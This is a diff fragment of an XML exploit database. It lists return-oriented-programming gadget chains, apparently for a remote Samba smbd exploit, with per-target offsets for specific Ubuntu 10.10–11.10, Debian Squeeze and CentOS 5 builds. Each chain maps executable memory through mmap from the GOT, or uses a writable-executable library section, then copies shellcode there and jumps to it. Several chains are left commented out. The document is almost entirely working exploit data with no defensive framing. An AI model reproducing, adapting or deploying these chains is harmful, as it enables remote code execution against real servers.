+ </compatibility>
74
+
75
+ <!--
76
+ dpkg -l|grep libgcr
77
+ ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
78
+ b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
79
+ b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
80
+ b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
81
+ -->
82
+
83
+ <gadgets base="0">
84
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
85
+ <gadget offset="0x00082ff4">offset of .got.plt section</gadget>
86
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
87
+ <gadget offset="0x000830a4">mmap@got - 4</gadget>
88
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
89
+ <gadget offset="0x00007d79">jmp eax</gadget>
90
+ <gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
91
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
92
+ <gadget value ="0x00001000">mmap arg : size</gadget>
93
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
94
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
95
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
96
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
97
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
98
+ <gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
99
+ <gadget offset="0x00084000">edx = writable location, in GOT</gadget>
100
+ <gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
101
+ <gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
102
+ <gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
103
+ <gadget value ="0x00000000">junk for ebp</gadget>
104
+ <gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
105
+ <gadget offset="0x0006933f">pop eax ; ret</gadget>
106
+ <gadget offset="0x00084100">eax = writable location, in GOT</gadget>
107
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
108
+ <gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
109
+ <gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
110
+ <gadget value ="0x00000000">junk for ebp</gadget>
111
+ <gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
112
+ <gadget value ="0x00000000">junk for ebx</gadget>
113
+ <gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
114
+ <gadget value ="0x00000000">junk for edi</gadget>
115
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
116
+ <gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
117
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
118
+ <gadget offset="0x00083024">memcpy@got - 4</gadget>
119
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
120
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
121
+ <gadget offset="0x00004803">pop esi ; ret</gadget>
122
+ <gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
123
+ <gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
124
+ <gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
125
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
126
+ <gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
127
+ <gadget value ="size">payload size</gadget>
128
+ </gadgets>
129
+ </rop>
130
+ <rop>
131
+ <compatibility>
132
+ <target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
133
+ </compatibility>
134
+
135
+ <!--
136
+ dpkg -l|grep libgcr
137
+ ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
138
+ b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
139
+ b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
140
+ b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
141
+
142
+ we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
143
+ 4 first pops are after pop esp
144
+ -->
145
+ <gadgets base="0">
146
+ <gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
147
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
148
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
149
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
150
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
151
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
152
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
153
+ <gadget offset="0x00007f19">jmp eax</gadget>
154
+ <gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
155
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
156
+ <gadget value ="0x00001000">mmap arg : size</gadget>
157
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
158
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
159
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
160
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
161
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
162
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
163
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
164
+ <gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
165
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
166
+ <gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
167
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
168
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
169
+ <gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
170
+ <gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
171
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
172
+ <gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
173
+ <gadget offset="0x0005c45c">pop ecx ; ret</gadget>
174
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
175
+ <gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
176
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
177
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
178
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
179
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
180
+ <gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
181
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
182
+ <gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
183
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
184
+ <gadget offset="0x0007204c">memcpy@got - 4</gadget>
185
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
186
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
187
+ <gadget offset="0x00060e5a">pop esi ; ret</gadget>
188
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
189
+ <gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
190
+ <gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
191
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
192
+ <gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
193
+ <gadget value ="size">payload size</gadget>
194
+ </gadgets>
195
+ </rop>
196
+
197
+ <rop>
198
+ <compatibility>
199
+ <target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
200
+ </compatibility>
201
+
202
+ <!--
203
+ dpkg -l|grep libgcrypt
204
+ ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
205
+ b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
206
+ b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
207
+ b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
208
+ -->
209
+
210
+ <gadgets base="0">
211
+ <gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
212
+ <gadget offset="0x00071ff4">offset of .got.plt section</gadget>
213
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
214
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
215
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
216
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
217
+ <gadget offset="0x0000922c">jmp eax</gadget>
218
+ <gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
219
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
220
+ <gadget value ="0x00001000">mmap arg : size</gadget>
221
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
222
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
223
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
224
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
225
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
226
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
227
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
228
+ <gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
229
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
230
+ <gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
231
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
232
+ <gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
233
+ <gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
234
+ <gadget offset="0x0006421f">pop eax ; ret</gadget>
235
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
236
+ <gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
237
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
238
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
239
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
240
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
241
+ <gadget offset="0x00072094">memcpy@got - 4</gadget>
242
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
243
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
244
+ <!-- set ecx to same value than edx -->
245
+ <gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
246
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
247
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
248
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
249
+ <gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
250
+ <gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
251
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
252
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
253
+ <gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
254
+ <gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
255
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
256
+ <gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
257
+ <gadget value ="size">payload size</gadget>
258
+ </gadgets>
259
+
260
+
261
+ </rop>
262
+
263
+ <rop>
264
+ <compatibility>
265
+ <target>3.5.10-0.107.el5 on CentOS 5</target>
266
+ </compatibility>
267
+
268
+ <!--
269
+ yum list |grep libgcrypt
270
+ libgcrypt.i386 1.4.4-5.el5 installed
271
+ 02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
272
+ 02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
273
+ section is writable and executable, we'll copy the shellcode over there instead of using mmap
274
+ -->
275
+
276
+ <gadgets base="0">
277
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
278
+ <gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
279
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
280
+ <gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
281
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
282
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
283
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
284
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
285
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
286
+ <gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
287
+ <gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
288
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
289
+ <gadget offset="0x0006a73f">pop eax ; ret</gadget>
290
+ <gadget offset="0x0007effc">memcpy@got - 4</gadget>
291
+ <gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
292
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
293
+ <gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
294
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
295
+ <gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
296
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
297
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
298
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
299
+ <gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
300
+ <gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
301
+ <gadget value ="0x00000000">junk for ebp **1**</gadget>
302
+ <gadget offset="0x0006200a">pushad ; ret</gadget>
303
+ <gadget value ="size">payload size</gadget>
304
+ </gadgets>
305
+
306
+
307
+ </rop>
308
+
309
+
310
+
311
+
312
+
313
+ <!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
314
+
315
+ <compatibility>
316
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
317
+ </compatibility>
318
+
319
+ <gadgets base="0">
320
+ <gadget offset="0x0000f3b1">pop eax; ret</gadget>
321
+ <gadget offset="0x00991ff0">mmap64@got</gadget>
322
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
323
+ <gadget offset="0x008c8997">jmp eax</gadget>
324
+ <gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
325
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
326
+ <gadget value ="0x00001000">mmap arg : size</gadget>
327
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
328
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
329
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
330
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
331
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
332
+ <gadget offset="0x0034fbd2">pop edx ; ret</gadget>
333
+ <gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
334
+ <gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
335
+ <gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
336
+ <gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
337
+ <gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
338
+ <gadget value ="0x00000000">junk for esi</gadget>
339
+ <gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
340
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
341
+ <gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
342
+ <gadget offset="0x0008c5ac">pop eax; ret</gadget>
343
+ <gadget offset="0x00991904">memcpy@got</gadget>
344
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
345
+ <gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
346
+ <gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
347
+ <gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
348
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
349
+ <gadget offset="0x0002ab2c">pushad, ret</gadget>
350
+ <gadget value ="size">payload size</gadget>
351
+ </gadgets>
352
+
353
+
354
+ ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
355
+ <compatibility>
356
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
357
+ </compatibility>
358
+
359
+ <gadgets base="0">
360
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
361
+ <gadget offset="0x008c1008">mmap64@got</gadget>
362
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
363
+ <gadget offset="0x0009e8e4">jmp eax</gadget>
364
+ <gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
365
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
366
+ <gadget value ="0x00001000">mmap arg : size</gadget>
367
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
368
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
369
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
370
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
371
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
372
+ <gadget offset="0x001f6142">pop edx ; ret</gadget>
373
+ <gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
374
+ <gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
375
+ <gadget value ="0x00000000">junk for ebp</gadget>
376
+ <gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
377
+ <gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
378
+ <gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
379
+ <gadget value ="0x00000000">junk for ebp</gadget>
380
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
381
+ <gadget offset="0x00277540">pop ebp ; ret</gadget>
382
+ <gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
383
+ <gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
384
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
385
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
386
+ <gadget offset="0x008c0964">memcpy@got</gadget>
387
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
388
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
389
+ <gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
390
+ <gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
391
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
392
+ <gadget offset="0x0000dbcf">pushad, ret</gadget>
393
+ <gadget value ="size">payload size</gadget>
394
+ </gadgets>
395
+ -->
396
+ <!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
397
+ <compatibility
398
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
399
+ </compatibility>
400
+ <gadgets base="0">
401
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
402
+ <gadget offset="0x008cf86c">mmap64@got</gadget>
403
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
404
+ <gadget offset="0x000234e5">jmp eax</gadget>
405
+ <gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
406
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
407
+ <gadget value ="0x00001000">mmap arg : size</gadget>
408
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
409
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
410
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
411
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
412
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
413
+ <gadget offset="0x0001cf12">pop edx ; ret</gadget>
414
+ <gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
415
+ <gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
416
+ <gadget value ="0x00000000">junk for ebp</gadget>
417
+ <gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
418
+ <gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
419
+ <gadget value ="0x00000000">junk for ebp</gadget>
420
+ <gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
421
+ <gadget value ="0x00000000">junk for ebp</gadget>
422
+ <gadget offset="0x00394107">pop ebp ; ret</gadget>
423
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
424
+ <gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
425
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
426
+ <gadget offset="0x008cf1e8">memcpy@got</gadget>
427
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
428
+ <gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
429
+ <gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
430
+ <gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
431
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
432
+ <gadget offset="0x00020453">pushad, ret</gadget>
433
+ <gadget value ="size">payload size</gadget>
434
+ </gadgets>
435
+ -->
436
+ </db>